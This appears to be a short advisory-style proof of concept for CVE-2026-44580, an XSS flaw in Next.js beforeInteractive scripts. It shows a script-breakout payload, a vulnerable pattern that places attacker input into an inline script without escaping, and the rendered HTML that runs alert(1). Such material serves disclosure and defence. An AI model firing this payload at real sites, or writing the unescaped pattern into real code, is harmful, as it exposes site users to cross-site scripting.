CVE-2026-44580 Next.js beforeInteractive脚本XSS漏洞

// PoC for CVE-2026-44580 // Conceptual exploit demonstrating the lack of escaping in beforeInteractive scripts // Malicious input controlled by the attacker const attackerPayload = '</script><img src=x onerror=alert(1)><script>'; // In a vulnerable Next.js application, this input might be passed // directly to a beforeInteractive script configuration. // Example vulnerable code pattern: // <Script id="user-data" strategy="beforeInteractive"> // window.userData = JSON.parse('${attackerPayload}'); // </Script> // The resulting HTML rendered by the server would look like this: // <script id="user-data">window.userData = JSON.parse('</script><img src=x onerror=alert(1)><script>');</script> // The browser interprets the first closing </script> tag, breaking out of the // intended context and executing the alert(1) as an image error handler.